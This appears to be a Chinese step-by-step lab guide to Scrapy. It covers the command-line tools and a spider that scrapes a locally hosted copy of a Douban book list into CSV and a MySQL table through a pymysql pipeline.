ls

图 6 红框 2 行

scrapy settings --get 读配置项:BOT_NAME=scrapybot、DOWNLOAD_DELAY=0。

scrapy settings --get BOT_NAME
scrapy settings --get DOWNLOAD_DELAY

图 7 红框 1 行

scrapy shell 交互式调试:把 baidu.html 抓进来,之后可以在 In[] 里试 xpath。

scrapy shell "http://localhost:8080/baidu/baidu.html"

图 8 输出 · 无红框

shell 启动后给出 request / response / settings / spider 对象和快捷函数(fetch、shelp、view)。

fetch(url[, redirect=True])
fetch(req)
shelp()
view(response)

图 9 红框 1 行

scrapy fetch --nolog 直接把抓到的 HTML 打到终端,验证下载器拿到的内容。

scrapy fetch --nolog "http://localhost:8080/baidu/baidu.html"

图 10 红框 1 行

scrapy view 把抓取结果落到临时文件并用浏览器打开,看到渲染后的样子。

scrapy view "http://localhost:8080/baidu/baidu.html"

图 11 无代码 · 界面截图

view 打开的就是 file:///tmp/tmpXXXX.html(Scrapy 存的响应副本)。

图 12 红框 1 行

scrapy version 查版本:Scrapy 1.5.0。

scrapy version

图 13 红框 4 行

把已有的 movie 项目整体复制进 scrapy 目录,再进项目。

cp -R /home/soft/movie/ /home/scrapy/
ls
cd movie/
ls

图 14 红框 1 行

scrapy crawl 跑 meiju 爬虫(日志里能看到 ROBOTSTXT_OBEY=True、BOT_NAME=movie)。

scrapy crawl meiju

图 15 红框 2 行

跑完 ls、cat movies.txt 核对结果。

ls
cat movies.txt

图 16 红框 1 行

scrapy check 跑 spider 契约测试(本例没写 contract,所以 Ran 0 contracts,OK)。

scrapy check meiju

图 17 红框 1 行

scrapy list 列出项目里所有爬虫,只有 meiju。

scrapy list

图 18 红框 1 行

scrapy edit 用编辑器打开指定爬虫的源码。

scrapy edit meiju

图 19 vim · meiju.py · 16 行

编辑后 meiju.py 的完整内容(xpath 取 top-list 下的 li,抽 h5/a 的 title)。

#!/usr/bin/python3

import scrapy
from movie.items import MovieItem

class MeijuSpider(scrapy.Spider):
    name = 'meiju'
    allowed_domains = ['meijutt.com']
    start_urls = ['http://localhost:8080/movie/meiju.html']

    def parse(self,response):
        movies = response.xpath('//ul[@class="top-list  fn-clear"]/li')
        for each_movie in movies:
            item = MovieItem()
            item['name'] = each_movie.xpath('./h5/a/@title').extract()[0]
            yield item

设计2.3 Scrapy 爬取豆瓣图书保存 MySQL35 图 / 171 行

图 1 红框 2 行

实验准备:切到 /home 并看目录。

cd /home/
ls

图 2 红框 2 行

建 scrapy 目录。

mkdir scrapy
ls

图 3 红框 2 行

起 Tomcat 提供本地 8080 服务。

cd soft/apache-tomcat/bin/
./startup.sh

图 4 无代码 · 界面截图

浏览器访问 localhost:8080/douban/douban1.html,这是要爬的豆瓣阅读「影视原著」列表页。

图 5 红框 3 行

创建 douban 项目并 ls 确认。

cd /home/scrapy/
scrapy startproject douban
ls

图 6 红框 2 行

进包目录 vim items.py。

cd douban/douban/
vim items.py

图 7 vim · items.py · 9 行

items.py:DoubanItem 定义 6 个字段(书名、作者、类别、评分、人数、简介),class_ 加下划线避开关键字。

class DoubanItem(scrapy.Item):
    # define the fields for your item here like:
    # name = scrapy.Field()
    book_name = scrapy.Field()        #书名
    author = scrapy.Field()           #作者
    class_ = scrapy.Field()           #类别
    grade = scrapy.Field()            #评分
    count = scrapy.Field()            #人数
    introduction = scrapy.Field()     #介绍

图 8 整段 HTML · 10 行

浏览器 F12:每个图书条目外层是 div.info,这是 xpath 的第一层依据。

<div class="bd">
  <ul class="list-lined ebook-list column-list">
    <li class="item store-item">
      <div class="cover shadow-cover"></div>
      <div class="info">
        ...
      </div>
    </li>
  </ul>
</div>

图 9 整段 HTML · 3 行

条目里书名是 div.title > a 的文字。

<div class="title">
    <a href="/ebook/680843/">白夜行</a>
</div>

图 10 整段 HTML · 6 行

作者在 span.labeled-text > a 里,红框这段就是取作者的依据。

<p class="">
  <span class="label">作者</span>
  <span class="labeled-text">
    <a class="author-item" href="/search?q=...">(日)东野圭吾</a>
  </span>
</p>

图 11 整段 HTML · 8 行

类别在 span itemprop="genre" 里。

<p class="">
  <span class="category">
    <span class="label">类别</span>
    <span class="labeled-text">
      <span itemprop="genre">图书 / 虚构</span>
    </span>
  </span>
</p>

图 12 整段 HTML · 5 行

评分在 span.rating-average 里。

<div class="rating list-rating">
  <span class="rating-stars star5-stars">...</span>
  <span class="rating-average">9.5</span>
  <span class="rating-amount">...</span>
</div>

图 13 整段 HTML · 8 行

评价人数在 a.ratings-link > span 里。

<span class="rating-amount">
  (
    <a class="ratings-link" href="/ebook/680843/ratings" target="_self">
      <span>4292</span>
      人评价
    </a>
  )
</span>

图 14 整段 HTML · 5 行

简介在 div.article-desc-brief 里(整段 HTML 直接取)。

<div class="article-desc-brief">
  《白夜行》姊妹篇《幻夜》购买地址:http://read.douban.com/ebook/698016/ 1973年,大阪的一栋废弃建筑中
  发现一名遭利器刺死的男子。案件扑朔迷离,悬而未决。此后20年间,案件滋生出的...
  <a href="/ebook/680843/">(更多)</a>
</div>

图 15 整段 HTML · 4 行

翻页链接在 li.next > a 里,href 带 ?start=20&sort=hot 等参数(要做翻页就靠它)。

<li class="next">
  <a href="?start=20&sort=hot&promotion_only=False&min_price=None&max_price=None&works_type=None">
    后页 </a>
</li>

图 16 红框 2 行

进 spiders 目录,vim 新建 doubanSpider.py。

cd spiders/
vim doubanSpider.py

图 17 vim · doubanSpider.py · 16 行

doubanSpider.py 第一版:自定义 start_requests,parse 里先把 info_list 打出来验证 xpath。

#!/usr/bin/python3
import scrapy
from douban.items import DoubanItem

class DoubanspiderSpider(scrapy.Spider):
    name = 'doubanspider'
    allowed_domains = ['read.douban.com']
    def start_requests(self):
        url = "http://localhost:8080/douban/douban1.html"
        yield scrapy.Request(url,callback=self.parse)

    def parse(self,response):
        item = DoubanItem()

        info_list = response.xpath('//div[@class="info"]')
        print(info_list)

图 18 vim · doubanSpider.py · 23 行

doubanSpider.py 第二版:遍历 info_list,逐字段 xpath 提取后 yield(长行是终端折行,合起来是完整一句)。

#!/usr/bin/python3
import scrapy
from douban.items import DoubanItem

class DoubanspiderSpider(scrapy.Spider):
    name = 'doubanspider'
    allowed_domains = ['read.douban.com']
    def start_requests(self):
        url = "http://localhost:8080/douban/douban1.html"
        yield scrapy.Request(url,callback=self.parse)

    def parse(self,response):
        item = DoubanItem()

        info_list = response.xpath('//div[@class="info"]')
        for info in info_list:
            item['book_name'] = info.xpath('./div[@class="title"]/a/text()').extract_first()
            item['author'] = info.xpath('./span[@class="labeled-text"]/a/text()').extract_first()
            item['class_'] = info.xpath('./span[@itemprop="genre"]/text()').extract_first()
            item['grade'] = info.xpath('./span[@class="rating-average"]/text()').extract_first()
            item['count'] = info.xpath('./a[@class="ratings-link"]/span/text()').extract_first()
            item['introduction'] = info.xpath('./div[@class="article-desc-brief"]').extract_first()
            yield item

图 19 红框 2 行

背一级,vim settings.py 改 UA 和 robots 开关。

cd ..
vim settings.py

图 20 vim · settings.py · 5 行

settings.py:伪装 USER_AGENT,并把 ROBOTSTXT_OBEY 设为 False(否则本地站点会被 robots 挡住)。

# Crawl responsibly by identifying yourself (and your website) on the user-agent
USER_AGENT = 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.54 Safari/536.5'

# Obey robots.txt rules
ROBOTSTXT_OBEY = False

图 21 红框 2 行

先跑一次把结果导成 CSV(-o 参数),验证数据抓全了没入库。

cd ..
scrapy crawl doubanspider -o doubanread.csv

图 22 红框 1 行

cat doubanread.csv 看到 6 列:author,book_name,count,introduction,grade,class。

ls
cat doubanread.csv

图 23 红框 1 行

登录 MySQL(root,密码回车后输入,不回显)。

mysql -u root -p

图 24 整段 SQL · 1 行

show databases 看现有库,然后建 douban 库。

show databases;

图 25 整段 SQL · 11 行

use douban 切换库,按 CSV 的列顺序建 doubanread 表(id 自增主键)。

use douban;
CREATE TABLE doubanread(
  id int(11) NOT NULL AUTO_INCREMENT,
  book_name varchar(255) DEFAULT NULL,
  author varchar(255) DEFAULT NULL,
  class_ varchar(255) DEFAULT NULL,
  grade varchar(255) DEFAULT NULL,
  count int(11) DEFAULT NULL,
  introduction varchar(255) DEFAULT NULL,
  PRIMARY KEY (id)
) ENGINE=InnoDB AUTO_INCREMENT=1409 DEFAULT CHARSET=utf8;

图 26 红框 2 行

exit 退出 MySQL,回 shell。

exit;
ls

图 27 红框 2 行

进包目录,vim pipelines.py 写入库管道。

cd douban/
vim pipelines.py

图 28 vim · pipelines.py · 7 行

pipelines.py 上半:导入 pymysql,__init__ 里连 douban 库并取游标。

import pymysql

class DoubanPipeline(object):

    def __init__(self):
        self.db = pymysql.connect(host = 'localhost',user = 'root',passwd = 'root',db = 'douban',charset = 'utf8')
        self.cursor = self.db.cursor()

图 29 vim · pipelines.py · 15 行

pipelines.py 下半:process_item 拼 insert 语句写 doubanread,缺字段用 N/A 兜底;close_spider 关游标和连接。

    def process_item(self, item, spider):
        book_name = item.get("book_name","N/A") #有的图书有数据项缺失,这里做了容错处理
        author = item.get("author","N/A")
        class_ = item.get("class_","N/A")
        grade = item.get("grade","N/A")
        count = item.get("count","N/A")
        introduction = item.get("introduction","N/A")

        sql = "insert into doubanread(book_name,author,class_,grade,count,introduction) value(%s,%s,%s,%s,%s,%s)"
        self.cursor.execute(sql, (book_name,author,class_,grade,count,introduction))
        self.db.commit()

    def close_spider(self,spider):
        self.cursor.close()
        self.db.close()

图 30 红框 1 行

再 vim settings.py 把管道启用(优先级 20,比之前的 100 先执行)。

vim settings.py

图 31 vim · settings.py · 5 行

settings.py:ITEM_PIPELINES 挂上 DoubanPipeline。

# Configure item pipelines
# See https://doc.scrapy.org/en/latest/topics/item-pipeline.html
ITEM_PIPELINES = {
    'douban.pipelines.DoubanPipeline': 20,
}

图 32 红框 2 行

回项目根目录跑爬虫,数据直接进 MySQL。

cd ..
scrapy crawl doubanspider

图 33 红框 1 行

登录 MySQL 并 use douban 验证。

mysql -u root -p

图 34 整段 SQL · 1 行

select * from doubanread 看入库结果(白夜行那条 9.6 分、4294 人评价)。

select * from doubanread;

图 35 整段 SQL · 1 行

select count(*) 统计条数,入库 20 条。

select count(*) from doubanread;